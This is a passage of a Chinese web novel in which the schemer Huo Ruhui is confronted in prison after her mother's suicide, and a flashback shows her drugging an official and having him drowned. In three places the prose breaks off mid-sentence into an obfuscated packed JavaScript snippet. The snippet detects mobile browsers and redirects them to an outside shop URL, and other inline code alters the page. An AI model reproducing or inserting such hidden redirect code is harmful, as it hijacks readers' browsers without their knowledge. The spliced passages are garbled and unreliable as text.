“再说了，你虽有几分姿色，也不过是在那几条穷巷子里过得去些，到了大宅院里算什么？” 她抬手抚了抚自己的脸，“能生出我这样姿色的，也是老天的造化，可不是你的功劳。” 说完，斜眼看着琴心，哼了一声，手放了下去，“不过，你也真是够狠的！抱着孩子回去当街一跪，就威胁何家。母凭子贵失败，河过不了就拆桥，立刻把我抱回去，想卖给霍家，连一天都不要多养。” 后半句话，她是咬着牙从牙缝里挤出来的，顿了顿，才又冷笑了笑，“等到你年岁渐长，富贵无望，甚至再也没生出孩子，又来找我了！” 她笑了好一会儿，才继续道，“要是真像你说的，放不下，不该在我没长大的时候就来寻了吗？” “说什么想等到自己挣了钱再来，你要是真过上了好日子，还能再寻了我这个累赘去？看我在有钱人家过得好，长得好，可以用了，你就来母女相认了！我若在贫苦人家，若长得丑，生得蠢，对你毫无用处，你会眼都不眨，再次弃我而去。” 霍茹蕙徐徐吐出一口怨气，带出些孤芳自赏的无奈道，“可我念在你的生恩，终究还是留下了你。” “这些年，你跟着我也享了不少福。不然，就你和九爷能沾上曾怀义，能染指黑石堂，能有这些年的权势富贵？” 霍茹蕙微微俯下身，看着孙嬷嬷，“你利用了我一辈子，我利用你这一次，不过分吧？你利用我生，我利用你死，我们是不是天底下最像的母女？” 说着，她差点抑制不住地仰头大笑起来，想着隔墙有耳，往窗外瞥了一眼，好歹收住了。 “何家那个死老太婆有句话没说错，血脉是骗不了人的，被你这种人脏了，是洗不干净的。若要怪，就怪你自己吧！便是上阎王面前说理，那也是你自己生的种，造的孽！” “哦，对了，”霍茹蕙撇了撇嘴，“我知道我不是什么何家的孩子，而是你和那个泼皮生的。那晚，你要我同你一起去大牢，不就是想让我亲自‘送送’他？你骗何家就罢了，还想骗我一辈子！我在你眼里，有那么蠢吗？” “你不就是虚荣，想说自己怀的是高门的孩子，想有朝一日让孩子‘认祖归宗’，替你奔个好前程，抢一笔家财？” “到死，你都不让我认那个‘爹’，不就是怕让人知道真相，折了我的身价，不好让你待价而沽了吗？若说是你同那个泼皮的，在那些达官贵人面前可就卖不了高价了！可在他们眼里，从你这个丫鬟肚子里出来，又有什么真正的身价？不一样是让人看不起的贱胚子！” 她突地出手，端着孙嬷嬷的肩头，愤怒地摇着那毫无生息的身子道：“我看见你这张脸就生气！就想到你这辈子如何利用我、欺骗我，把我当工具、当傻子！你从想怀我的时候起，时时刻刻都在利用我！” 她猛地推一把，丢了手，让孙嬷嬷硬生生砸在了殓床上。 如此发泄一通，将藏在心底的话终于说出来，她积攒多年的怒气渐渐平息了下来。她长长地吸了一口气，重又捡起了表面的平静，“所以，我不欠你的，我们甚至还远没有扯平。下了阎罗殿，你也告不了我的阴状。” 说完，霍茹蕙理了理衣裳，“放心吧，我会给你下葬。以后，年节也会顺便给你烧几张纸钱。什么时候想起来了，兴许也会去坟山上看你一眼。不过，那大概也是想看看，你这么恶毒的人，坟头是不是连草都不生，鸟都不落！” 最后看了一眼殓床上那个陪伴十多年的身影，她转身大步往外走去。 推开殓房大门的时候，脸上重又挂上了痛心疾首的破碎，连脚步也沉重而缓慢了起来。 *** 霍茹蕙让狱卒领着，往郑玉婵的牢房走去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是！我是在外面生下的你，是满月之时才将你抱回去。也因为这，这些年来传什么话的都有，可外人说什么，你怎么能轻信啊！” 霍茹蕙吼道：“我不是轻信，我是不得不信！” “那你弟弟也是捡的？”郑玉婵反问。 霍茹蕙道：“你们夫妻本无子女缘，但偏我命里有姐弟缘。因养了我，才给你们带来了这一子。这也是为什么，尽管那命理师说我是灾星，你们也不敢把我送走——你们不是舍不得我，是怕你们的儿子有什么闪失！不敢冒这个险！” 郑玉婵让她吼了这么一通，先想反驳，随后又点起了头道，“没错，我就是冒不起那个险。” 她揪着心口，双眼发直地看向霍茹蕙，越说越激动，“当年，便是因为冒不起险，我才留在观中，才招惹了那楚琴心，才造出了那段孽缘！可是，即便再来一次，我也还是会那么做！因为我真的冒不起那个险！” 听她这话，倒像是肺腑之言，霍茹蕙一时没说话。 郑玉婵看了她一眼，又将右手拿在眼前看着，苦笑着叹道：“若你不是我亲生的，那倒容易多了……” 梦中杀子的冲动如此强烈，如此真实，可真正面对她的时候，真要刺下去的那些瞬间，她才发现，自己根本下不去手。 在佛堂里，她不是刺不中，而是刺不下去。 就算她恶贯满盈，就算她害了全世界，她都是自己的孩子，是她自己身上掉下来的肉。她把自己杀了，也杀不了她。 “我没功夫跟你在这儿废话。”霍茹蕙不敢再听下去，“说吧，你叫我开，到底想做什么？” “我什么都做不了，”郑玉婵苦笑着看了看她，自言自语似地道，“现在无论我说什么，做什么，你都不会听，也不会信……” 霍茹蕙不耐烦地看了她一眼，转身就要走。 “我就是，想再看你一眼。”郑玉婵急道。 霍茹蕙顿住了脚步，转头去看她，见郑玉婵定定地看着她，露出了一个凄厉的笑来：“做母亲的，总是希望孩子能好好的。” 说罢，她转过身，决绝地向后冲去，用尽全身力气，撞到了墙上。 “等——” 霍茹蕙惊叫一声，往前窜了几步， “等等”二字都没说完，郑玉婵已经贴着墙倒了下去，留下了一道新鲜而触目的血痕。 “郑玉蝉！”霍茹蕙抓着牢房的栅栏，试图叫醒她，可那人已经躺在那里不动了，“来……来人啊！” 霍茹蕙忙往外跑了几步，冲不远处的狱卒喊道，“快来人开门！” 123. 疯子 狱卒闻声冲过来，打开牢房，霍茹蕙冲进去，抱起了倒伏在地的郑玉婵，发疯似地摇了起来。 “醒一醒！你醒一醒！我的话还没说完呢，你不能死！” 郑玉婵缓缓睁开眼，艰难地露出个微笑：“真是个漂亮的孩子！你一生下来，就所有人都夸，我可……高兴了。” 她抬手伸向霍茹蕙，可还没摸到她的脸，便无力地垂了下去。那纸一样的脸上，有终得解脱的平静，却还有着无尽的忧愁。 霍茹蕙伏在她身上，低低地闷嚎了一声，又无力地摇了摇她，却再也没回应了。 “你起来，我们还没说清楚呢！你不许死！” 她直起腰来，摇着郑玉婵道，“我还没告诉你，你的宝贝儿子是怎么死的！你给我起来啊！” “他们说的没错，就是我弄死的，你起来打我啊，骂我啊！” 郑玉婵的虚影，看着那阴暗的牢房里，霍茹蕙抱着她的身影，无声地道：“是我没用，我既不能教你向善，也没办法阻止你为恶。我眼睁睁看着你犯下更多罪孽，却没办法杀了你，也没办法面对那些人……不管是活着的，还是死去的。” “我耳边好吵，他们日日夜夜都在我耳边吵，缠着我，质问我。我受不了了！唯有一死，方得解脱。” “我早点下去向他们赎罪，也早日替你减轻点罪孽。若有下一世，愿我们娘俩能重新来过，愿我们都不要再犯错了。” *** 霍茹蕙跪坐在那儿，看着郑玉婵的尸首，呆怔许久。 不知过了多久，她抬起脸，长长地倒了一口气，笑起来道：“开始，我以为自己是被霍家厌弃的女儿，后来又一度以为是遭何家和琴心抛弃的。” “我以为，我被人再三抛弃。我不甘心，我自污，我跟曾怀义苟且，我跟他一起谋害霍家，诬告有了亲儿子就想抛弃我的‘养父母’；我跟楚琴心一起，灭了‘亲生父亲’的家门。” “当不了何家的高门女儿，我就顶了梁家女儿的身份，得了陈万霆那样年轻有为的夫君，当上了人人羡慕的陈夫人。” “我以为，我这么多年的人生，是靠我自己争取来的，是成功的，是对的。可到最后，你却告诉我，这一切都是个乌龙！” 霍茹蕙笑得前仰后合，笑得身子跟着抖动。 她手撑在地上，仰头对着监牢顶，“后来，我知道那何家是被楚琴心讹上的，可是……霍家竟然也是被她误会的？！” “她是个疯子，我却是个傻子！” “我被她误导了半辈子，最后……竟跟她没有半点关系！她竟只是个偶然闯入我母亲生活的疯子！她毁了我，毁了我一家，乃至那么多无辜之人……” “我做这一切，我折腾这半辈子，到最后竟是被一个如此低贱的疯女人误导！” “我自恃聪明，却陪着一个疯子，发了这么多年的疯，当了她一辈子的刀！” “这世上还有比这更可笑的吗？” 笑着笑着，她就哭了。 她看了郑玉蝉一眼，“其实，一开始听下人们在背后说我是抱养的孩子，我还不知道那是什么意思。等我慢慢长大了，懂了，开始也是不愿意相信的。可是……大概谎话听多了，便会成真。我听着听着，真就‘发现’我不是霍家亲生女儿的证据了。” 哭着哭着，她又笑了。 “命理师给我下了灾星之命的判词后。我一开始还挺开心，虽然大家看我的眼神变得更怪了，但你并没有将我送走——哪怕留下我对弟弟不好，哪怕可能危及六亲。既如此，那你们对弟弟更好些，也没关系。” “可他们又说，你只是怕送走了我这个送子菩萨，儿子便留不住了。那时，我就想，你留下了我，若你的儿子真死了，你会怎么样？我控制不住地想看看你会是什么样的脸。” “等你儿子死了。我终于可以看到你的样子。可那一刻，我却……没敢看。” 她转头又去看郑玉婵，又哭又笑地问，“你是不是从那时起就恨死了我？你表面更疼我了。可你夜夜对着儿子的牌位落泪，我都在门后看着。” “后来，楚琴心她告诉我，是她想认我，所以悄悄买通下人散布消息，好让我知道我是她的孩子，甚至让道人说我是灾星，逼霍家遗弃我……” “知道她是什么样的人。我以为，我知道了我本来是什么样的人，有那些黑暗的想法也并不奇怪。再说，你既从她手中抢走了我，又不好好对我，合该受到惩罚！” “好长时间里，我都想不通你怎么就那么蠢。连下人们都说，别人的种是养不熟的，生身父母什么人，长大就是什么人。你怎么还敢把我留在身边！没看袁氏那个死老太婆多想把我搞走吗？” 霍茹蕙笑着问，“可你现在告诉我，我根本就不是她的孩子？” “现在，楚琴心死了，你死了，方才听狱卒说，孙九爷也死了。你们全都死了，抛下我一个人！一个人——” 她疲惫地道，“为什么你们所有人都要抛弃我？为什么老天对我如此不公？” *** “你害死了所有人，现在反责怪这些人抛弃你？你欺天瞒地，如今却怪老天待你不公？” 身后冷不丁响起声音，霍茹蕙本能地一哆嗦。 不过，她不用回头也知道是谁，她太疲倦了，只笑了一声。 “永远是别人的错。你永远是受害者，你永远是不满的，甚至委屈的。”孟珂走进大牢，站在身侧，垂眸看她，“霍茹蕙，难道你真不知道，今天的一切全都是你自己造成的？！所有的路，都是你自己选的！” 孟珂看了地上的郑玉蝉一眼，“你原本有一个好好的家，衣食无忧，和美喜乐，你却嫉恨弟弟，抱怨父母，轻信外人，生生把那个家毁了。” 她又自嘲地笑道，“你原本有闺中密友，待你如姐妹，连父母也疼你如亲女，你却害了她全家。” “你原本有个自己的家，有举案齐眉的夫君，疼惜你的婆母，可爱的女儿，可你将这个家也生生毁了。” “你曾经拥有过很多，可那一切，全都被你自己亲手毁掉了。” 孟珂看着她，一字一顿地道，“你没有资格怪任何人！要怪，只能怪你永远贪心不足！永远自私自利。” 霍茹蕙想站起来，可跪坐在地上久了，一时竟站不起来，于是放弃了，抬头看了她一眼，又哭又笑地说了句：“乌龙，误会，都是乌龙，都是误会。” “误会？”孟珂轻笑一声，“你的身世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999220|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是误会？那霍家案那么多人命可是误会？那梁家呢，又有什么可误会的？” 霍茹蕙反驳道：“那都是曾怀义做的！” “曾怀义已经死了，你便怎么说都可以？”孟珂质问道，“就只因为我父亲知道了霍家案的真相，就一定要灭我满门？” “那你下去去问他啊！”霍茹蕙大笑了起来，“去问下曾怀义，为何要这么做。” 孟珂蹲下去，看着她，语气笃定地道：“是你杀了他。” 审问黑石堂众人的时候，顺便也审出了些不算意外的事。 孙九爷的心腹王成供出，他的另一个心腹刘昆，在曾家毒杀现场暴露并潜逃之后，曾偷偷来见他，告诉了他一些秘事。曾怀义死的那日，刘昆按孙九爷的吩咐，带人劫了樊仲荣派去接曾怀义的小船；而九爷自己则假扮曾怀义，乘此船而去，骗过大船上的人，绑走了樊仲荣。 而在此之前一个多时辰，刘昆先送孙九爷去见了曾怀义，同行的还有个年轻妇人，正是梁夫人。 孟珂早就知道，她那日在湖边碰到霍茹蕙不会是偶然。 “是，是我杀了曾怀义。”霍茹蕙抬头看着她，换了副假装真诚的神色道，“不过，我是为了妹妹你啊！我是为你梁家报仇雪恨，为你们讨公道，这才杀了曾怀义。” 孟珂也笑了：“你还真是……什么责任都能推给别人，什么好话都能捞给自己。” “不然，你说我为什么要这么做呢？”霍茹蕙反问道。 “对了，那时候，我还不知道妹妹你还活着呢。即便姐姐以为，你已经在黄泉之下了，却也还念着要给妹妹你报仇呢。” 霍茹蕙道，“我可是从来没有忘记妹妹你，一时半刻都没有。” “替我报仇？”孟珂笑出声道，“那你此刻就当着我的面自尽呀！” 她咬牙道，“以命还命！” “你觉得我罪孽深重，”霍茹蕙收起了戏谑她的神色，“可我的每一小份罪背后，都有他曾怀义的一大份！” 她的目光变得怨毒而狠戾，“他该死！他早就该死了！你知道他手上沾了多少人的血吗？你梁家的，我霍家的，还有可怜的苑儿的！” 霍茹蕙回忆道，“那日在假山上，我伸手想推苑儿的时候，被他看见了。” 霍茹蕙是伸手想推，但没下得去手，转身正要离开，却被曾怀义堵住了。 “怎么退缩了？”曾怀义往苑儿那看了一眼，伸手抓着霍茹蕙的手臂，猛地一推道，“你只要这样，轻轻一推，一切就变好了。” “你会成为你母亲唯一的孩子，你会得到父母所有的疼爱，霍家这份家业也全都将是你一个人的。”曾怀义看着那张蓓蕾般的脸，“你要是够聪明，以后还有更多，你现在也许还想不到的东西，都会是你的。只要你想，一切，都可以是你的……” 回忆起那一日，霍茹蕙目光中的火苗慢慢平和了下去，转头看向孟珂，“所以我杀了他，为苑儿报仇，为霍家、梁家，为所有人报了仇！” “不，”孟珂轻轻扯了扯嘴角，淡淡地道，“你只是为了你自己！” “是，我是为了我自己。”霍茹蕙吐出一口气，“只要他活着一天，我就一天不得安生。我早就受够了！” 124. 美人 那日，湖上的游船全都让一个传说中的富商包了。 茫茫湖面上，只飘着一叶小舟。 曾怀义坐在船头，看着湖景小酌的。几十年官场浸淫，这个昔日的盗匪，暗地里的黑石堂堂主，也生生熏陶出了些气度。既有文官难有的精悍，也有盗匪绝无的儒雅。 “大人有心事？” 一个水蛇般的身影，自帘后露了出来。 那妖娆的身影从曾怀义的背后攀援而上，先倚上他肩头，蹭着他的脖颈，绕到他眼前，抬手去拂他的眉心。 “瞧你这眉头，都锁起来了！有温香软玉在怀，还有什么旁的放不下？” 曾怀义按下了心底忧虑，抬手摸了摸她的脸，敷衍地笑笑：“能有什么放不下？” “我给大人按按。” 不等他应，霍茹蕙就抬手按着他的太阳穴，按了几下，索性扶着他的肩，将他放倒在自己大腿上。 她的手白嫩细滑，从头顶一路顺到颈，顺到肩，缓慢而有力地按着，衣袖有意无意地在曾怀义脸上来回轻拂着。 曾怀义突地伸手捉住了，深深嗅了一口，心神荡漾地道：“好香。” “土匪！”霍茹蕙嗔笑着骂了一句，将衣袖一段段抽了出来，又在他鼻子处飞快地一晃，笑道，“新调的，考考你，可嗅得出其中都有什么？” 曾怀义哪想费这脑子，嗤笑一声：“管它是什么呢。” “猜猜看嘛！”霍茹蕙笑着慢慢俯下身，在他额上轻轻落下一吻，随即顺着鼻梁，一路轻啜下去，带着微微喘息道，“你再闻闻看。” 温热的鼻息在脸上游走，喘息声在耳际回荡，曾怀义往船尾看了一眼，孙九爷就在那头站着，可这女人还在拱火，低低地笑骂道：“你个坏东西！” 霍茹蕙娇嗔地瞥了他一眼，仿佛在说，“这才哪儿到哪儿啊！” 她手上轻轻一扯，一件鲜红而柔软的小衣当空飞起，又悠悠落下，正正地盖在了曾怀义脸上。那带着余温的香，不自觉吸上一口，只觉得头也晕了，目也眩了，浑身都酥麻了。 曾怀义猛地翻身而起，抱着她，将她压在船板上，磕得她轻叫了一声。他得意地笑了，捉着她的一双玉手，“我让你再撩拨！” 说着，用胡子的下巴，摩挲那娇嫩白皙的面庞，霍茹蕙却不服输，一双玉手探往别处去了。 “还有更香的，”她捡起小衣，在他耳边吹着气道，“你要是不要。” 曾怀义只觉得整个脑子都麻了，眼皮也重了，眼前的身影越来越模糊。 “你……” 一句话没说得出来，他就轰然倒在了船上。 霍茹蕙的脸色一变，俯身看了看，又上手推了推，见他果真没了反应，这才放下心来。 曾怀义极其警惕，她只得将迷药薰在了自己衣服上，掺了些在香粉里。可也因为这样，她自己事先可服解药，但也不敢用太多。 少了放不倒，多了怕自己也倒，可费了一番功夫。 她又想到，在肚兜的绣花里藏了最精纯的，临时扯破了绣花，盖在他脸上，吹入他口鼻中，这才确保无虞。 她拉了拉凌乱的衣服，对船尾道：“靠岸吧！” 孙九爷还是不放心，钻过船舱，走到船头，检查了一下地上的曾怀义，才笑道：“料他也想不到，会这么中迷香。” “虽麻烦了些，不过，这迷香极其难得，因是口鼻吸入，且量不大，过后也不容易查出。” “不知能管用多久，”霍茹蕙催促道，“咱们还是别耽搁了，你一会儿还得上大船呢。” 孙九爷忙将船划到了湖滨，瞅着四下无人，将曾怀义扔进了浅滩。 曾怀义被扔下去，仰面而倒。孙九爷又跳下浅滩，一脚踹上去，将他喘翻了个，伏在水中。 谁料，他还未走远，曾怀义竟呛咳了几口，让冰冷的湖水给呛醒了过来。 孙老九忙回头冲上去，将他按在了水中。 曾怀义虽醒转了过来，但意识依然不清，手脚软麻无力，哪里挣扎得过本就有功夫的孙九爷。 看两个人在浅滩里折腾，霍茹蕙斜签着坐在船头，冲曾怀义笑道：“你放心，没人会发现是我杀的你。” 那日在假山上，他对还是孩子的她说的也是：“你放心，没人会发现是你杀的他。” 曾怀义含笑看着她，目光仿佛带着惑人的魔力：“我早就知道会有这一天！看你瞧弟弟的眼神，我就知道，你总有一日会出手。看你这双眼睛，我就知道，你跟我……” 很是般配...... 曾怀义在湖水里呛咳着，挣扎着，混沌的意识竟渐渐找回了一丝清明。 挣扎中，他看见船头坐了个美人，一双如水美目正正地看着他，低眉敛目，尽是无情。 他莫名想起了那一日。 在假山上，他也垂着眼，看着那个十多岁的少女，忍不住走上前去，拉着她的手，用她才刚萌发的花苞，才伸展开的娇嫩花瓣去迷惑人，养出她的尖刺去扎人——没人防备那样一个初通人事，却尚未长成的孩子。 失去意识前的最后那刻，曾怀义看见那暮色中斜倚船头的美人，化身成了一朵迎风而动的巨大花朵，发出了一声沉重的叹息。 那声叹息，变成了浅滩浑水里的一个水泡，噗地就破了。 *** “你以为杀了曾怀义，一切就结束了吗？”孟珂看着霍茹蕙，“殊不知一切才刚开始！” “是啊。”霍茹蕙回看那一日，才发现隔着茫茫镜月湖，还有一双眼睛早就盯上了她。 不过，即便回到那一日，她也还是会做同样的事。她不后悔。 她像是自言自语地道：“他每每仕途要走到头了，就把我送人，讨好上官，疏通关节，换他的仕途通达，破格升迁！而这次，“ 她看向孟珂，这个原以为比自己惨百倍的人，应该怎么也不愿换自己这条路，自嘲地笑道，”还是个糟老头子！” “他是该死，你呢？” 孟珂问，“你没罪，你不该死？” “你把自己撇得倒干净！苑儿不是你亲手推的？霍家、梁家的事不是你做下的？那些事你不知情吗，没参与，没配合吗，你没追出来，亲手把我推下悬崖吗？” 霍茹蕙头一昂，看着她，吼道：“是，我也该死。我事先就知道，我参与了，配合了，我亲手把你推下去了！” 霍茹蕙顿了顿，反问道，“可是，凭什么你生来就拥有最好的一切！凭什么我就不能想要好的？你们给我什么，我就只能死守着那一点？” “君子爱财，取之有道！”孟珂也带了怒气，“你的错不在于安不安分，而在于你取之无道！” “好东西谁不想要？想要，就该得到？哪怕去偷去抢，去杀人放火？”孟珂又好气又好笑道，“天下欠你们的？你们想要什么，就天然有了资格，就可以从别人手中抢，那天下人全都当盗匪去好了！” “谁不是盗匪？”霍茹蕙笑道，“坐在龙椅上的不是，还是坐在衙门里的不是？凭什么他们可以抢，我就不可以？他们暗抢不犯律法，我就该诛？梁婉章，时至今日，你不会还抱着书里那套圣人之说过呢吧？” “我今日不是同你论世道好坏的，”孟珂看着她，问出埋藏心中多年的话，“霍茹蕙，你们早就计划好了对不对？早在你们谋划霍家案的时候，就已经同时准备埋葬梁家了，是不是？” “这就是你能如此肆无忌惮地做霍家案的原因。因为霍茹蕙那个身份，你本来就要抛弃了。你将顶替粱婉章，霍茹蕙做过什么又有什么要紧？比起杀人放火、谋财害命，攀诬又算得了什么？哪怕攀诬的对象是自己家人。” 霍茹蕙没做声，孟珂自然知道了答案，她自嘲地笑笑，才又道：“你装作受了伤害，装作孤苦无依，装作只有我这根稻草的时候……你看着我，看着梁家人，觉得我们都傻透了吧！” 可是，回到那时候，回到当年那个梁婉章，她如何能想到，一个一同长大的人，在对你笑对你哭的时候，心中竟藏的那样的想法，已经挖好了那样的陷阱。 一个半大的姑娘，竟要同饿狼一起，埋葬那一无所求对她好的一家数十口人。 不遇到事，你永远不知道身边是人是鬼。 孟珂突地想起了母亲，她总说‘别把人想得太坏，坏人毕竟是少数’，不知她如今在九泉之下，知道了这一切，还会这么说吗？ 霍茹蕙就像读懂了她心声似地，恰是时候地笑道，“是，我是坏，我是毒。可这世上坏人还少吗？你父亲的毒是谁下的？不也是身边人吗？” 孟珂笑笑，心湖因为太多起伏而不再波澜地吐出了两个字：“管家。” “你知道了？”霍茹蕙道，又笑了起来，“不过也晚了！不，是早就晚了。” “以前不知道，可后来想一想，也就不难猜到了。”孟珂道。 霍茹蕙看了她一眼，颇为复杂地道：“你其实一点都不笨，就是有些傻，我是说以前。” 孟珂闻言笑了，看看她，又看向了大牢的窗口：“有些事，就像一把刀，拉开了一条口子，你的世界就此崩开了。然后，你就看见了这个世界真正的模样。而你，就像打通了任督二脉，一下就通了，透了。” 那一刻，她开始坠入人间炼狱。 那一刻，她也才睁开眼，看得见世界真实的模样，人性真实的面貌。 孟珂顿了许久，叹了口气，转过身，看着地上的霍茹蕙，又看了看四周道，“你机关算尽又如何，不还是落到了大牢里？须知人欺天不欺。” “你要将我收监？”霍茹蕙脚终于麻过了劲儿，从地上站了起来，怼着孟珂的脸道，“凭什么？” 孟珂看着她，淡淡地道：“凭许莲生、梁云钦的证词，凭霍家案当年唯一的‘证物’。” 霍茹蕙仰头大笑起来：“霍茹蕙犯的事，与我梁夫人有什么关系。” 孟珂道：“整个金阳城的官眷中都传开了，你还能抵赖？还能活在你梁夫人的壳里？” “那可说不定。”霍茹蕙在她耳边道，“别忘了，我可是最擅长金蝉脱壳的人。” 孟珂不再被她激怒：“你身上背了霍、梁、曾三件大案，无可脱罪。” 霍茹蕙有恃无恐地看着她笑，挑了挑眉毛：“那我们就试试看！” 孟珂笑了：“你仗着自己还有‘底牌’，史兆麟吗？” 霍茹蕙一怔。 “意外吗？”孟珂道，“当日在金阳城，不只杜家二小姐在，她的夫君史兆麟也在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你岳父大人早有金盆洗手之意，是你为了自己的好处，为了在他那儿多个用处，才拖到了如今。但他现在已经是辅政大臣，清这一摊子事是势在必行了。而你要跟着往上走，也得洗洗干净了。” “这时候，你需要一只手，能顺利帮你洗清来时路，洗净登天梯的手。我，可以当你的这只手。” 史兆麟意外了一下，笑道：“美人儿，你还真是总能让我惊艳！好！替我办好这些事，你的那些事，自不必担心。” 言犹在耳，人已经变了脸。 “答应你的？”史兆麟恶狠狠地笑着，从桌上一把拽起霍茹蕙，将她拉过去，一手狠狠地搂在她腰上，一手狠狠抓着她的头，带着浓重酒味的气息喷在她脸上，凑得极近的五官，因为面露狠戾而显得尤其可怖。 “与虎谋皮，便要做好被老虎，连皮带骨地吃下，连骨头渣子都不吐的准备！没这点觉悟，你就敢跟人玩这些？当过家家呢！当你在后宅里头女人扯头花呢？” 他恶狠狠地笑道，“想上桌，想谋事？你还是太天真了些！老老实实做个美人吧！把爷哄高兴了，少不得赏你些衣裳首饰，金银细软！” 如果说霍茹蕙一开始怒的还只是他不兑现——她不是没想到过这样的可能，如今听他这般看轻自己，更是怒不可遏。 “既如此看不起我，那为何还用我？”霍茹蕙发起笑来，啐了他一口道，“用完了我，现在还要这般践踏我！” 史兆麟头一扭，还是没躲开，被她喷了脸，怒而一把将她推了出去。 霍茹蕙腰腹撞上酒桌，忍不住痛哼了一声。桌子被撞歪，碗碟碎了一地，人也擦着桌沿倒了地，匆忙间撑在地上的手，压上了碎片，疼得钻心，可她硬是忍住了，没叫出声。 “你是在帮我吗？”史兆麟指着地上的霍茹蕙，“你是在帮你自己！曾怀义死了，从此没人会再将你送上不同男人的卧榻，你自由了，不是吗？” “是我帮了你的忙！要不是我帮你拖着曾怀义一党，让他们心怀幻想，以为还有我们的庇佑。否则，他们怎么可能没有一点反抗地，被一点点连根拔起？若没有我，你结果了他，能这么毫无后果？” 霍茹蕙坐在地上，抬头看着他，咯咯笑了起来，笑了半晌，才道：“那我还真是要谢谢你了！” 史兆麟拍了拍手，好像被她脏了似的，眼睛往下溜了她一眼，无赖地道：“倒也不必这么见外。咱们好歹也有好多个百日恩嘛。” *** “姐姐这脸色不太好看啊，看来那日见面不太愉快。”孟珂笑着拿出了一封信，对着霍茹蕙抖开了道，“要不要看看这是谁的信，信中又说了什么？” 霍茹蕙不吭声了。 “姐姐不用看也知道。”孟珂将信收起来，“还有什么底牌，姐姐不如现在亮出来，给我一个放姐姐出去的机会？” 霍茹蕙还是不言语。 “将郑玉婵抬出去，至于这位夫人，也不用换地方了，就直接收监在此吧。”孟珂吩咐道，说完，看了一眼墙上新鲜的血迹，“以全她祭奠亡母之心。” 说完，转身出去了。 在她身后，霍茹蕙隔着栅栏，看着那个离开的背影，慢慢抬起了脸，笑道：“想甩开我，门儿都没有。曾怀义不行，他史兆麟也不行！” “没有任何人可以背弃我霍茹蕙！” 125. 冲动 狱卒候在一旁，待孟珂出了霍茹蕙的牢房，才进去抬郑玉婵。 她走在前面，一眼便见刘宝站在门口，便知他是得了郑玉婵自尽的消息，冲来了大牢，但被守卫拦在了外头。 看着他脸上真诚的震惊与悲伤，孟珂不由想，这样宽厚的人，今后行走世间，经过风雨冲刷之后，可还能留得几分？ 想到这儿，她觉得自己这样的念头也是好笑。人心如水，奈何世事如铁，磋磨之后，何必还要那般柔软呢。若留着，少不得便是他自己吃亏。 她笑了笑自己，才对刘宝温声道：“你郑姨她……杀了楚琴心，算是替自己儿子报了仇，只怕也死罪难免，如今离去，算是早得解脱。你也别太难过，就望她了结此生苦难，往生极乐去吧。” 好在这孩子倒也不钻牛角尖，不想了想，深以为是，认真地点了点头。 这倒是福气，孟珂见此也宽了心，听他请求给郑玉蝉下葬，也爽快地应了，用他一起看着郑玉婵被抬出来，送上板车。 三个人这一世的纠葛，也算由她们自己解决了，未尝不是天命。孟珂转身方欲走，便见周冶不知什么时候来了。 看他面色，孟珂便知有事。 果然，待她走近，周冶道：“孙秉的人来了！” “孙秉？”孟珂又惊又好笑道，“他一个安州刺史，来管明州的事情？” “按说管不着，”周冶道，“不过，上头发了话，让他回京述职的路上，顺道帮大理寺一个忙，将霍家案的相关人、证，全都提走。” 孟珂有些意外，却也不是太意外，顿了顿，冷笑道：“堂堂地方大员，替大理寺干这么个提人的活，未免太动干戈了。” “的确扎眼，”周冶道，“故而他人只在金阳城等，派了手下胡七爷来提人。” “又是胡七爷！”孟珂看向周冶。 老袁头当初悄悄告诉二人，威胁他毒杀郑玉婵和刘宝的人，正是孙秉手下这位胡七爷。也就是说，想摁下曾怀义案的人，就是孙秉。 孟珂边盘边道：“孙秉与曾怀义纠葛颇深，当初要曾怀义为长史的人是他，后来要摁下案子的人也是他。他如今又亲自来提人，到底是要保她霍茹蕙，还是保那可能会被霍家案牵涉的一干人等？” 周冶嘴角微微一扯，半笑不笑道：“让大理寺插手，动用一州刺史亲自提人，只怕更大的麻烦还在后头呢。” 孟珂明白他的意思。史兆麟不出面，孙秉却来了，还来得这么快。这说明朝中有人早就掌握了这边情况，也迅速在朝中安排布置了。若非如此，孙秉怎能这么顺便、这么快地来插手。 都知道孙秉是史兆麟的同年，当年也是他将曾怀义送去史兆麟的治所，并让他在史兆麟的手下得到提拔。等史兆麟这个杜家女婿一飞冲天之后，曾怀义又被派到了孙秉治下的绥陵。 这些年，孙秉表面上没有派系，其实跟史兆麟有着千丝万缕的联系。而他们二人的背后，少不了其岳丈、尚书大人杜善瀛的影子。他们这些事，这杜善瀛到底知不知道，又参没参与呢？ 朝中，中书和尚书省的权力之争已久。随着先皇驾崩，卢翰与杜善瀛二人同为辅政，斗争就更烈了。 一进京城，接下来就不是她和周冶能轻易左右的局面了。霍家案，要么被人彻底摁下去，要么就成为朝堂上那些人的筏子，被掀开来。 孟珂一时沉默了。 周冶知道，让孙秉的人直接押人走，孟珂不会放心，便让侍剑扮成狱卒随车押送，红荔则在暗处，也跟着去。一明一暗，两相策应。 他作为主办官，也要一并入京，便留涤砚在衙门，自己带洗墨回京。几句话做了安排，他便送孟珂走出衙门，上了马车。 可马车刚走出几步，他突然又快步赶了上去，叫停了马车。 孟珂奇怪地掀帘看他。 他轻轻蹭了蹭鼻子，笑道：“小姐的熹园，最是赏这镜月湖盛景的上好之处。这临行之夜，可容我借宿一宿，饱览一下春色？免得回京之后，又遗憾上了。” 